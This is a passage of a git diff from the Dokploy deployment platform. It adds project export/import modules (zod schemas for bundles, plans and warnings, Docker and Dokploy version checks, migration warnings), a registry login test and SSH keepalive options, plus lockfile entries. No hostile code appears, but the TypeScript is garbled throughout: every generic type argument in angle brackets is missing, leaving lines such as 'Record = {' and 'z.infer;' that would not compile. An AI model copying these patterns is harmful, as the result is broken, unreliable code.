b/packages/server/src/services/project-export-import/service-kinds.ts new file mode 100644 index 000000000..d84da0469 --- /dev/null +++ b/packages/server/src/services/project-export-import/service-kinds.ts @@ -0,0 +1,106 @@ +import type { EnvironmentRow, ProjectTree } from "./queries"; +import type { ExportScope, ServiceType, UsedBy } from "./types"; + +export const SERVICE_TYPES = [ + "application", + "postgres", + "mysql", + "mariadb", + "mongo", + "redis", + "compose", + "libsql", +] as const satisfies readonly ServiceType[]; + +export const SERVICE_ID_FIELD: Record = { + application: "applicationId", + postgres: "postgresId", + mysql: "mysqlId", + mariadb: "mariadbId", + mongo: "mongoId", + redis: "redisId", + compose: "composeId", + libsql: "libsqlId", +}; + +export const SERVICE_TYPE_ENV_KEY: Record = { + application: "applications", + postgres: "postgres", + mysql: "mysql", + mariadb: "mariadb", + mongo: "mongo", + redis: "redis", + compose: "compose", + libsql: "libsql", +}; + +export const serviceDisplayName = (service: Record): string => + (service.name as string | undefined) ?? + (service.appName as string | undefined) ?? + ""; + +export type TaggedService = { + serviceType: ServiceType; + environmentId: string; + service: Record; +}; + +export const allServices = (environments: EnvironmentRow[]): TaggedService[] => + environments.flatMap((env) => + SERVICE_TYPES.flatMap((serviceType) => + (env[SERVICE_TYPE_ENV_KEY[serviceType]] as Record[]).map( + (service) => ({ + serviceType, + environmentId: env.environmentId, + service, + }), + ), + ), + ); + +export const filterEnvironments = ( + tree: ProjectTree, + scope: ExportScope, +): EnvironmentRow[] => { + if (!scope.environmentIds) { + return tree.environments; + } + const allowed = new Set(scope.environmentIds); + return tree.environments.filter((env) => allowed.has(env.environmentId)); +}; + +export const filterServices = >( + services: T[], + serviceType: ServiceType, + scope: ExportScope, +): T[] => { + if (!scope.serviceIds) { + return services; + } + const allowed = new Set(scope.serviceIds); + const idField = SERVICE_ID_FIELD[serviceType]; + return services.filter((service) => allowed.has(service[idField] as string)); +}; + +export const scopedServices = ( + tree: ProjectTree, + scope: ExportScope, +): TaggedService[] => + allServices(filterEnvironments(tree, scope)).filter( + ({ serviceType, service }) => + filterServices([service], serviceType, scope).length > 0, + ); + +export const buildUsedBy = ( + environmentId: string, + serviceType: UsedBy["serviceType"], + service: Record, + serviceId: string, + field?: string, +): UsedBy => ({ + serviceId, + serviceType, + serviceName: serviceDisplayName(service), + environmentId, + field, +}); diff --git a/packages/server/src/services/project-export-import/types.ts b/packages/server/src/services/project-export-import/types.ts new file mode 100644 index 000000000..8ae24a66d --- /dev/null +++ b/packages/server/src/services/project-export-import/types.ts @@ -0,0 +1,458 @@ +import { serviceType } from "@dokploy/server/db/schema"; +import { z } from "zod"; + +export const TRANSFER_FORMAT = "dokploy-project-export" as const; +export const TRANSFER_FORMAT_VERSION = 1 as const; +export const BUNDLE_EXTENSION = ".dokploy.tar.gz"; +export const SECRET_REF_PREFIX = "$secret:"; +export const SECRET_REDACTED = "$secret:REDACTED"; +export const MAX_EMBEDDED_DUMP_BYTES = 8 * 1024 * 1024 * 1024; +export const TRANSFER_MAX_UPLOAD_BYTES = 20 * 1024 * 1024 * 1024; + +export const KDF_PARAMS = { + N: 32768, + r: 8, + p: 1, + dkLen: 64, +} as const; + +export const serviceTypeSchema = z.enum(serviceType.enumValues); +export type ServiceType = z.infer; + +const CHILD_AND_SHARED_RESOURCE_KINDS = [ + "project", + "environment", + "domain", + "mount", + "port", + "redirect", + "security", + "backup", + "volumeBackup", + "schedule", + "destination", + "registry", + "sshKey", + "network", + "certificate", + "vaultProvider", + "dnsProvider", +] as const; + +export const resourceKindSchema = z.enum([ + "application", + "postgres", + "mysql", + "mariadb", + "mongo", + "redis", + "compose", + "libsql", + ...CHILD_AND_SHARED_RESOURCE_KINDS, +]); +export type ResourceKind = z.infer; + +export const sharedResourceKindSchema = z.enum([ + "destination", + "registry", + "sshKey", + "network", + "certificate", + "vaultProvider", + "dnsProvider", +]); +export type SharedResourceKind = z.infer; + +export const usedBySchema = z.object({ + serviceId: z.string(), + serviceType: z.union([ + serviceTypeSchema, + z.literal("project"), + z.literal("environment"), + ]), + serviceName: z.string(), + environmentId: z.string(), + field: z.string().optional(), +}); +export type UsedBy = z.infer; + +export const vaultProviderTypeSchema = z.enum([ + "hashicorp", + "infisical", + "aws", + "aws-parameter-store", + "doppler", + "azure", + "scaleway", + "phase", +]); +export type VaultProviderType = z.infer; + +export const gitProviderTypeSchema = z.enum([ + "github", + "gitlab", + "gitea", + "bitbucket", +]); +export type GitProviderType = z.infer; + +const requirementBase = { + originalId: z.string().nullable(), + configIncluded: z.boolean(), + usedBy: z.array(usedBySchema), +}; + +export const requirementSchema = z.discriminatedUnion("kind", [ + z.object({ + kind: z.literal("vault"), + ...requirementBase, + providerName: z.string(), + providerType: vaultProviderTypeSchema, + secretKeys: z.array(z.string()), + }), + z.object({ + kind: z.literal("gitProvider"), + ...requirementBase, + providerType: gitProviderTypeSchema, + repositories: z.array(z.object({ owner: z.string(), repo: z.string() })), + }), + z.object({ + kind: z.literal("destination"), + ...requirementBase, + bucket: z.string(), + endpoint: z.string(), + region: z.string(), + }), + z.object({ + kind: z.literal("registry"), + ...requirementBase, + registryUrl: z.string(), + imagePrefix: z.string(), + role: z.array(z.enum(["registry", "buildRegistry", "rollbackRegistry"])), + }), + z.object({ + kind: z.literal("sshKey"), + ...requirementBase, + publicKey: z.string(), + }), + z.object({ + kind: z.literal("network"), + ...requirementBase, + name: z.string(), + }), + z.object({ + kind: z.literal("certificate"), + ...requirementBase, + fingerprint: z.string(), + serverId: z.string().nullable(), + }), + z.object({ + kind: z.literal("server"), + ...requirementBase, + }), +]); +export type Requirement = z.infer; +export type RequirementKind = Requirement["kind"]; + +export const warningCodeSchema = z.enum([ + "ABSOLUTE_HOST_PATH_MOUNT", + "MANUAL_VOLUME_NAME", + "APPNAME_IN_COMPOSE_FILE", + "PREVIEW_DEPLOYMENTS_DROPPED", + "LETSENCRYPT_CERTS_NOT_EXPORTED", + "REDIS_NO_DUMP", + "WEBHOOK_TOKEN_REGENERATED", + "DUMP_SKIPPED_TOO_LARGE", + "DROP_SOURCE_NOT_EXPORTED", + "MISSING_REQUIREMENT_BLOCKING", + "ROTATION_DUMP_MAY_CONTAIN_USERS", + "ROTATION_CHECK_CONSUMERS", + "ROTATION_AMBIGUOUS_PASSWORD", + "ROTATION_SKIPPED_UNSAFE_PASSWORD", + "MONGO_ADMIN_USERS_NOT_RESTORED", + "COMPOSE_DUMP_NOT_RESTORABLE", + "BACKUP_DESTINATION_UNRESOLVED", + "DUMP_FAILED", + "FILE_PULL_FAILED", + "NETWORK_UNRESOLVED", + "IMAGE_TAG_NOT_PINNED", + "DOKPLOY_VERSION_MISMATCH", + "TRAEFIK_VERSION_MISMATCH", + "INSTANCE_KIND_MISMATCH", + "DOCKER_VERSION_MISMATCH", +]); +export type WarningCode = z.infer; + +export const warningSchema = z.object({ + code: warningCodeSchema, + severity: z.enum(["info", "warning", "blocking"]), + message: z.string(), + affected: z.array(usedBySchema), +}); +export type Warning = z.infer; + +export const dumpIndexSchema = z.discriminatedUnion("mode", [ + z.object({ + serviceId: z.string(), + serviceType: serviceTypeSchema, + mode: z.literal("embed"), + ext: z.string(), + path: z.string(), + bytes: z.number(), + }), + z.object({ + serviceId: z.string(), + serviceType: serviceTypeSchema, + mode: z.literal("referenceLastBackup"), + destinationId: z.string(), + keyPrefix: z.string(), + }), +]); +export type DumpIndex = z.infer; + +export const captureSourceSchema = z.object({ + kind: z.literal("project"), + id: z.string(), +}); +export type CaptureSource = z.infer; + +export const exportScopeSchema = z.object({ + environmentIds: z.array(z.string()).optional(), + serviceIds: z.array(z.string()).optional(), + includeEnvSecrets: z.boolean().default(true), + shared: z + .partialRecord(sharedResourceKindSchema, z.enum(["value", "reference"])) + .default({}), + files: z + .object({ + applicationSources: z.boolean().default(true), + composeFiles: z.boolean().default(true), + traefikRaw: z.boolean().default(true), + customCertificates: z.boolean().default(true), + }) + .prefault({}), + dumps: z + .object({ + mode: z.enum(["embed", "referenceLastBackup", "none"]).default("none"), + }) + .prefault({}), + includeBackupSchedules: z.boolean().default(true), +}); +export type ExportScope = z.infer; + +export const manifestCryptoSchema = z.object({ + salt: z.string(), + kdfParams: z.object({ + N: z.number(), + r: z.number(), + p: z.number(), + dkLen: z.number(), + }), + keyCheck: z.string(), +}); +export type ManifestCrypto = z.infer; + +export const sourceInstanceSchema = z.object({ + dokployVersion: z.string(), + organizationId: z.string(), + releaseTag: z.string().optional(), + isCloud: z.boolean().optional(), + traefikVersion: z.string().optional(), + nodeVersion: z.string().optional(), + dockerVersions: z.record(z.string(), z.string()).optional(), +}); +export type SourceInstance = z.infer; + +export const manifestSchema = z.object({ + format: z.literal(TRANSFER_FORMAT), + formatVersion: z.number().int().min(1), + exportedAt: z.string(), + exportedBy: z.object({ userId: z.string(), email: z.string() }), + sourceInstance: sourceInstanceSchema, + scope: exportScopeSchema, + crypto: manifestCryptoSchema, + counts: z.partialRecord(resourceKindSchema, z.number()), +}); +export type Manifest = z.infer; + +export const snapshotSchema = z.object({ + manifest: manifestSchema, + resources: z.object({ + project: z.record(z.string(), z.unknown()), + environments: z.array(z.record(z.string(), z.unknown())), + services: z.array(z.record(z.string(), z.unknown())), + shared: z.record(z.string(), z.array(z.record(z.string(), z.unknown()))), + }), + requirements: z.array(requirementSchema), + warnings: z.array(warningSchema), + dumps: z.array(dumpIndexSchema), +}); +export type Snapshot = z.infer; + +export const inventorySchema = z.object({ + project: z.object({ name: z.string(), environments: z.number() }), + environments: z.array( + z.object({ + id: z.string(), + name: z.string(), + services: z.partialRecord(serviceTypeSchema, z.number()), + }), + ), + totals: z.partialRecord(resourceKindSchema, z.number()), + estimatedDumpBytes: z.number(), + estimatedFilesBytes: z.number(), + images: z + .array( + z.object({ + serviceId: z.string(), + serviceType: serviceTypeSchema, + name: z.string(), + image: z.string(), + }), + ) + .default([]), +}); +export type Inventory = z.infer; + +export const targetSchema = z.discriminatedUnion("kind", [ + z.object({ + kind: z.literal("newProject"), + name: z.string(), + description: z.string().optional(), + }), + z.object({ + kind: z.literal("existingProject"), + projectId: z.string(), + environmentName: z.string(), + }), +]); +export type Target = z.infer; + +export const domainStrategySchema = z.discriminatedUnion("custom", [ + z.object({ custom: z.literal("keep") }), + z.object({ custom: z.literal("prefix"), value: z.string() }), + z.object({ custom: z.literal("suffix"), value: z.string() }), + z.object({ custom: z.literal("disable") }), +]); +export type DomainStrategy = z.infer; + +export const proposedResolutionStatusSchema = z.enum([ + "resolved", + "mappable", + "createable", + "missing", +]); +export type ProposedResolutionStatus = z.infer< + typeof proposedResolutionStatusSchema +>; + +export const proposedResolutionSchema = z.object({ + status: proposedResolutionStatusSchema, + targetId: z.string().optional(), + candidates: z + .array(z.object({ id: z.string(), name: z.string() })) + .optional(), +}); +export type ProposedResolution = z.infer; + +export const resolutionActionSchema = z.enum(["reuse", "create", "skip"]); + +export const resolutionSchema = z.object({ + requirementKey: z.string(), + action: resolutionActionSchema, + targetId: z.string().optional(), +}); +export type Resolution = z.infer; + +export const conflictKindSchema = z.enum([ + "domain", + "port", + "projectName", + "network", +]); +export const conflictOptionSchema = z.enum(["rename", "skip", "keep"]); + +export const conflictSchema = z.object({ + kind: conflictKindSchema, + value: z.string(), + existingId: z.string(), + usedBy: z.array(usedBySchema), + options: z.array(conflictOptionSchema), +}); +export type Conflict = z.infer; +export type ConflictKind = z.infer; +export type ConflictOption = z.infer; + +export const conflictResolutionSchema = z.object({ + action: conflictOptionSchema, + value: z.string().optional(), +}); +export type ConflictResolution = z.infer; + +export const conflictKey = (conflict: Pick) => + `${conflict.kind}:${conflict.value}`; + +export const pendingServiceSchema = z.object({ + serviceId: z.string(), + serviceType: serviceTypeSchema, + reason: z.string(), +}); +export type PendingService = z.infer; + +export const planValidationCheckSchema = z.object({ + check: z.string(), + ok: z.boolean(), + detail: z.string().optional(), +}); +export type PlanValidationCheck = z.infer; + +export const planSchema = z.object({ + target: targetSchema, + resolutions: z.record(z.string(), resolutionSchema), + serverMap: z.record(z.string(), z.string().nullable()), + appNameMap: z.record(z.string(), z.string()), + domainStrategy: domainStrategySchema, + portsStrategy: z.enum(["keep", "disable"]), + rotateDatabaseCredentials: z.boolean().default(false), + deployAfterImport: z.boolean().optional(), + conflicts: z.array(conflictSchema), + conflictResolutions: z + .record(z.string(), conflictResolutionSchema) + .optional(), + pendingServices: z.array(pendingServiceSchema), + warnings: z.array(warningSchema), + validation: z.array(planValidationCheckSchema), + summary: z.object({ + counts: z.partialRecord(resourceKindSchema, z.number()), + domains: z.number(), + dumps: z.number(), + }), +}); +export type Plan = z.infer; + +export const rotationEntrySchema = z.object({ + service: z.string(), + field: z.string(), + occurrences: z.number(), +}); +export type RotationEntry = z.infer; + +export const restoreErrorSchema = z.object({ + serviceId: z.string(), + serviceName: z.string().optional(), + error: z.string(), +}); +export type RestoreError = z.infer; + +export const transferResultSchema = z.object({ + idMap: z.record(z.string(), z.record(z.string(), z.string())), + appNameMap: z.record(z.string(), z.string()), + pendingRequirements: z.array(z.string()), + pendingServices: z.array(pendingServiceSchema), + rotations: z.array(rotationEntrySchema), + restoreErrors: z.array(restoreErrorSchema), + warnings: z.array(warningSchema), +}); +export type TransferResult = z.infer; + +export type Emit = (message: string) => void; diff --git a/packages/server/src/services/project-export-import/versions.ts b/packages/server/src/services/project-export-import/versions.ts new file mode 100644 index 000000000..073cd888d --- /dev/null +++ b/packages/server/src/services/project-export-import/versions.ts @@ -0,0 +1,153 @@ +import { + execAsync, + execAsyncRemote, +} from "@dokploy/server/utils/process/execAsync"; +import semver from "semver"; +import type { ProjectTree } from "./queries"; +import { scopedServices } from "./service-kinds"; +import type { ExportScope, SourceInstance, Warning } from "./types"; + +export type InstanceVersions = { + dokployVersion: string; + releaseTag: string; + isCloud: boolean; + traefikVersion: string; + nodeVersion: string; +}; + +const LOCAL_SERVER_KEY = "local"; + +export const isPinnedImage = (image: string): boolean => { + if (image.includes("@sha256:")) return true; + const lastSlash = image.lastIndexOf("/"); + const tagIndex = image.lastIndexOf(":"); + if (tagIndex <= lastSlash) return false; + const tag = image.slice(tagIndex + 1); + return tag.length > 0 && tag !== "latest"; +}; + +export type RunVersionProbe = ( + serverId: string | null, + command: string, +) => Promise; + +const defaultProbe: RunVersionProbe = async (serverId, command) => { + const { stdout } = serverId + ? await execAsyncRemote(serverId, command) + : await execAsync(command); + return stdout.trim(); +}; + +const DOCKER_VERSION_COMMAND = "docker version --format '{{.Server.Version}}'"; + +export const collectDockerVersions = async ( + tree: ProjectTree, + scope: ExportScope, + probe: RunVersionProbe = defaultProbe, +): Promise> => { + const serverIds = new Set(); + for (const { service } of scopedServices(tree, scope)) { + serverIds.add((service.serverId as string | null) ?? null); + } + const versions: Record = {}; + for (const serverId of serverIds) { + try { + const version = await probe(serverId, DOCKER_VERSION_COMMAND); + if (version) versions[serverId ?? LOCAL_SERVER_KEY] = version; + } catch {} + } + return versions; +}; + +export const probeDockerVersion = ( + serverId: string | null, + probe: RunVersionProbe = defaultProbe, +): Promise => probe(serverId, DOCKER_VERSION_COMMAND); + +const instanceWarning = ( + code: Warning["code"], + severity: Warning["severity"], + message: string, +): Warning => ({ code, severity, message, affected: [] }); + +export const compareInstanceVersions = ( + source: SourceInstance, + destination: InstanceVersions, +): Warning[] => { + const warnings: Warning[] = []; + + const sourceVersion = semver.coerce(source.dokployVersion); + const destVersion = semver.coerce(destination.dokployVersion); + if (sourceVersion && destVersion) { + if (semver.gt(sourceVersion, destVersion)) { + warnings.push( + instanceWarning( + "DOKPLOY_VERSION_MISMATCH", + "warning", + `This bundle was exported from Dokploy ${source.dokployVersion}, newer than this instance (${destination.dokployVersion}). Fields this version doesn't know about will be dropped silently; upgrade before importing to be safe.`, + ), + ); + } else if (semver.lt(sourceVersion, destVersion)) { + warnings.push( + instanceWarning( + "DOKPLOY_VERSION_MISMATCH", + "info", + `This bundle was exported from Dokploy ${source.dokployVersion}; this instance runs ${destination.dokployVersion}. Defaults added since then will apply to the imported services.`, + ), + ); + } + } else if (source.dokployVersion !== destination.dokployVersion) { + warnings.push( + instanceWarning( + "DOKPLOY_VERSION_MISMATCH", + "info", + `Exported from Dokploy "${source.dokployVersion}" (${source.releaseTag ?? "unknown tag"}); this instance runs "${destination.dokployVersion}" (${destination.releaseTag}). These versions can't be compared automatically.`, + ), + ); + } + + if (source.isCloud !== undefined && source.isCloud !== destination.isCloud) { + warnings.push( + instanceWarning( + "INSTANCE_KIND_MISMATCH", + "info", + source.isCloud + ? "Exported from Dokploy Cloud into a self-hosted instance: every service needs a server assignment (local is now available), and Cloud-only settings don't apply here." + : "Exported from a self-hosted instance into Dokploy Cloud: services that ran on the local host must be assigned to a remote server.", + ), + ); + } + + if ( + source.traefikVersion && + source.traefikVersion !== destination.traefikVersion + ) { + warnings.push( + instanceWarning( + "TRAEFIK_VERSION_MISMATCH", + "info", + `Traefik ${source.traefikVersion} at the source vs ${destination.traefikVersion} here; raw Traefik config copied from the bundle may need adjusting.`, + ), + ); + } + + return warnings; +}; + +export const compareDockerVersions = ( + sourceVersion: string | undefined, + destinationVersion: string, +): string | undefined => { + if (!sourceVersion) return undefined; + const source = semver.coerce(sourceVersion); + const destination = semver.coerce(destinationVersion); + if (!source || !destination) { + return sourceVersion === destinationVersion + ? undefined + : `Docker ${destinationVersion} here, ${sourceVersion} at the source`; + } + if (source.major !== destination.major) { + return `Docker ${destinationVersion} here, ${sourceVersion} at the source (different major version)`; + } + return undefined; +}; diff --git a/packages/server/src/services/project-export-import/warnings.ts b/packages/server/src/services/project-export-import/warnings.ts new file mode 100644 index 000000000..672eba9fb --- /dev/null +++ b/packages/server/src/services/project-export-import/warnings.ts @@ -0,0 +1,179 @@ +import { rewriteVolumeName } from "./appname"; +import type { ProjectTree } from "./queries"; +import { + SERVICE_ID_FIELD, + scopedServices, + serviceDisplayName, +} from "./service-kinds"; +import type { ExportScope, ServiceType, UsedBy, Warning } from "./types"; +import { isPinnedImage } from "./versions"; + +const volumeNameSurvivesUnchanged = ( + volumeName: string, + appName: unknown, +): boolean => + typeof appName !== "string" || + appName.length === 0 || + !rewriteVolumeName(volumeName, { [appName]: "x" }).rewritten; + +const IMAGE_SERVICE_TYPES = new Set([ + "postgres", + "mysql", + "mariadb", + "mongo", + "redis", + "libsql", +]); + +export const exportedImageOf = ( + serviceType: ServiceType, + service: Record, +): string | undefined => { + if ( + IMAGE_SERVICE_TYPES.has(serviceType) || + (serviceType === "application" && service.sourceType === "docker") + ) { + const image = service.dockerImage; + return typeof image === "string" && image.length > 0 ? image : undefined; + } + return undefined; +}; + +export const detectWarnings = ( + tree: ProjectTree, + scope: ExportScope, +): Warning[] => { + const warnings: Warning[] = []; + + for (const { serviceType, environmentId, service } of scopedServices( + tree, + scope, + )) { + const serviceId = service[SERVICE_ID_FIELD[serviceType]] as string; + const baseUsedBy: UsedBy = { + serviceId, + serviceType, + serviceName: serviceDisplayName(service), + environmentId, + }; + + const mounts = + (service.mounts as Record[] | undefined) ?? []; + for (const mount of mounts) { + const field = `mount:${mount.mountId}`; + if ( + mount.type === "bind" && + typeof mount.hostPath === "string" && + mount.hostPath.startsWith("/") + ) { + warnings.push({ + code: "ABSOLUTE_HOST_PATH_MOUNT", + severity: "warning", + message: `Mount "${mount.mountPath}" uses the absolute host path "${mount.hostPath}", which won't exist on the destination server.`, + affected: [{ ...baseUsedBy, field }], + }); + } + if ( + mount.type === "volume" && + typeof mount.volumeName === "string" && + mount.volumeName.length > 0 && + volumeNameSurvivesUnchanged(mount.volumeName, service.appName) + ) { + warnings.push({ + code: "MANUAL_VOLUME_NAME", + severity: "warning", + message: `Mount "${mount.mountPath}" has a volume name ("${mount.volumeName}") that doesn't reference this service's appName, so it won't be renamed on import and can collide with an existing volume on the destination.`, + affected: [{ ...baseUsedBy, field }], + }); + } + } + + if ( + serviceType === "compose" && + typeof service.composeFile === "string" && + typeof service.appName === "string" && + service.appName.length > 0 && + service.composeFile.includes(service.appName) + ) { + warnings.push({ + code: "APPNAME_IN_COMPOSE_FILE", + severity: "warning", + message: + "The compose file references its own appName in free text (labels, network names, etc.); it won't be rewritten automatically on import.", + affected: [baseUsedBy], + }); + } + + if (serviceType === "application" && service.isPreviewDeploymentsActive) { + warnings.push({ + code: "PREVIEW_DEPLOYMENTS_DROPPED", + severity: "info", + message: + "This application has preview deployments enabled; existing preview deployments are not exported.", + affected: [baseUsedBy], + }); + } + + if ( + serviceType === "application" && + service.sourceType === "drop" && + !scope.files.applicationSources + ) { + warnings.push({ + code: "DROP_SOURCE_NOT_EXPORTED", + severity: "warning", + message: + 'This application\'s source code only exists on disk ("drop" source) and application sources are excluded from this export; the imported service will have nothing to build.', + affected: [baseUsedBy], + }); + } + + const domains = + (service.domains as Record[] | undefined) ?? []; + for (const domain of domains) { + if (domain.certificateType === "letsencrypt") { + warnings.push({ + code: "LETSENCRYPT_CERTS_NOT_EXPORTED", + severity: "info", + message: `Domain "${domain.host}" uses a Let's Encrypt certificate, which is re-issued on the destination instead of being exported.`, + affected: [{ ...baseUsedBy, field: `domain:${domain.domainId}` }], + }); + } + } + + const image = exportedImageOf(serviceType, service); + if (image && !isPinnedImage(image)) { + warnings.push({ + code: "IMAGE_TAG_NOT_PINNED", + severity: "warning", + message: `Image "${image}" has no fixed tag; the destination will pull whatever "latest" is at import time, which may be a different version than what runs here.`, + affected: [baseUsedBy], + }); + } + + if (serviceType === "redis") { + warnings.push({ + code: "REDIS_NO_DUMP", + severity: "info", + message: + "Redis has no dump/restore mechanism; this service is exported as config only, without its data.", + affected: [baseUsedBy], + }); + } + + if ( + (serviceType === "application" || serviceType === "compose") && + service.autoDeploy + ) { + warnings.push({ + code: "WEBHOOK_TOKEN_REGENERATED", + severity: "info", + message: + "This service has auto-deploy enabled; its webhook token is never exported and will be regenerated on import.", + affected: [baseUsedBy], + }); + } + } + + return warnings; +}; diff --git a/packages/server/src/services/registry.ts b/packages/server/src/services/registry.ts index e395dd4c9..513768609 100644 --- a/packages/server/src/services/registry.ts +++ b/packages/server/src/services/registry.ts @@ -3,6 +3,7 @@ import { type apiCreateRegistry, registry } from "@dokploy/server/db/schema"; import { execAsync, execAsyncRemote, + execFileAsync, } from "@dokploy/server/utils/process/execAsync"; import { TRPCError } from "@trpc/server"; import { eq } from "drizzle-orm"; @@ -27,6 +28,40 @@ export function safeDockerLoginCommand( return `printf %s ${escapedPassword} | docker login ${escapedRegistry} -u ${escapedUser} --password-stdin`; } +export const testRegistryConnection = async (input: { + registryUrl: string; + username: string; + password: string; + serverId?: string | null; +}): Promise => { + if (IS_CLOUD && !input.serverId) { + throw new TRPCError({ + code: "NOT_FOUND", + message: "Select a server to test the registry", + }); + } + + if (input.serverId && input.serverId !== "none") { + await execAsyncRemote( + input.serverId, + safeDockerLoginCommand(input.registryUrl, input.username, input.password), + ); + return; + } + + await execFileAsync( + "docker", + [ + "login", + input.registryUrl, + "--username", + input.username, + "--password-stdin", + ], + { input: Buffer.from(input.password).toString() }, + ); +}; + function sanitizeRegistryError( error: unknown, password: string | null | undefined, diff --git a/packages/server/src/utils/process/execAsync.ts b/packages/server/src/utils/process/execAsync.ts index 37b0b7f91..6932ec19b 100644 --- a/packages/server/src/utils/process/execAsync.ts +++ b/packages/server/src/utils/process/execAsync.ts @@ -258,6 +258,7 @@ export const execAsyncRemote = async ( username: server.username, privateKey: server.sshKey?.privateKey, timeout: 99999, + keepaliveInterval: 15_000, }); }); }; @@ -317,6 +318,7 @@ export const writeFileRemote = async ( username: server.username, privateKey: server.sshKey?.privateKey, timeout: 99999, + keepaliveInterval: 15_000, }); }); }; diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 2a99a9c86..32c3a2f0e 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -275,6 +275,9 @@ importers: boxen: specifier: ^7.1.1 version: 7.1.1 + busboy: + specifier: ^1.6.0 + version: 1.6.0 class-variance-authority: specifier: ^0.7.1 version: 0.7.1 @@ -459,6 +462,9 @@ importers: '@types/bcrypt': specifier: 5.0.2 version: 5.0.2 + '@types/busboy': + specifier: ^1.5.4 + version: 1.5.5 '@types/dompurify': specifier: ^3.2.0 version: 3.2.0 @@ -4496,6 +4502,9 @@ packages: '@types/btoa-lite@1.0.2': resolution: {integrity: sha512-ZYbcE2x7yrvNFJiU7xJGrpF/ihpkM7zKgw8bha3LNJSesvTtUNxbpzaT7WXBIryf6jovisrxTBvymxMeLLj1Mg==} + '@types/busboy@1.5.5': + resolution: {integrity: sha512-IwqrfVFxWa23c4WeE7uZswssCqGfvnl5Q7b1pdshbT3HaQDa3UIbJx5BAxtcj9nZYX9tVDArM9TUv9SpvORbpQ==} + '@types/chai@5.2.3': resolution: {integrity: sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==} @@ -5239,6 +5248,10 @@ packages: resolution: {integrity: sha512-tjwM5exMg6BGRI+kNmTntNsvdZS1X8BFYS6tnJ2hdH0kVxM6/eVZ2xy+FqStSWvYmtfFMDLIxurorHwDKfDz5Q==} engines: {node: '>=18'} + busboy@1.6.0: + resolution: {integrity: sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA==} + engines: {node: '>=10.16.0'} + bytes@3.1.2: resolution: {integrity: sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==} engines: {node: '>= 0.8'} @@ -8377,7 +8390,7 @@ packages: serialize-error-cjs@0.1.4: resolution: {integrity: sha512-6a6dNqipzbCPlTFgztfNP2oG+IGcflMe/01zSzGrQcxGMKbIjOemBBD85pH92klWaJavAUWxAh9Z0aU28zxW6A==} - deprecated: Rolling release, please update to 0.3.0 + deprecated: Rolling release, please update to 0.2.0 serialize-error@8.1.0: resolution: {integrity: sha512-3NnuWfM6vBYoy5gZFvHiYsVbafvI9vZv/+jlIigFn4oP4zjNPK3LhcY0xSCgeb1a5L8jO71Mit9LlNoi2UfDDQ==} @@ -8567,6 +8580,10 @@ packages: resolution: {integrity: sha512-UhDfHmA92YAlNnCfhmq0VeNL5bDbiZGg7sZ2IvPsXubGkiNa9EC+tUTsjBRsYUAz87btI6/1wf4XoVvQ3uRnmQ==} engines: {node: '>=18'} + streamsearch@1.1.0: + resolution: {integrity: sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==} + engines: {node: '>=10.0.0'} + string-argv@0.3.2: resolution: {integrity: sha512-aqD2Q0144Z+/RqG52NeHEkZauTAUWJO8c6yTftGJKO3Tja5tUgIfmIl6kExvhtxSDP7fXB6DvzkfMpCd/F3G+Q==} engines: {node: '>=0.6.19'} @@ -13866,6 +13883,10 @@ snapshots: '@types/btoa-lite@1.0.2': {} + '@types/busboy@1.5.5': + dependencies: + '@types/node': 24.10.13 + '@types/chai@5.2.3': dependencies: '@types/deep-eql': 4.0.2 @@ -14614,6 +14635,10 @@ snapshots: dependencies: run-applescript: 7.1.0 + busboy@1.6.0: + dependencies: + streamsearch: 1.1.0 + bytes@3.1.2: {} c12@3.1.0: @@ -18185,6 +18210,8 @@ snapshots: stdin-discarder@0.2.2: {} + streamsearch@1.1.0: {} + string-argv@0.3.2: {} string-width@4.2.3: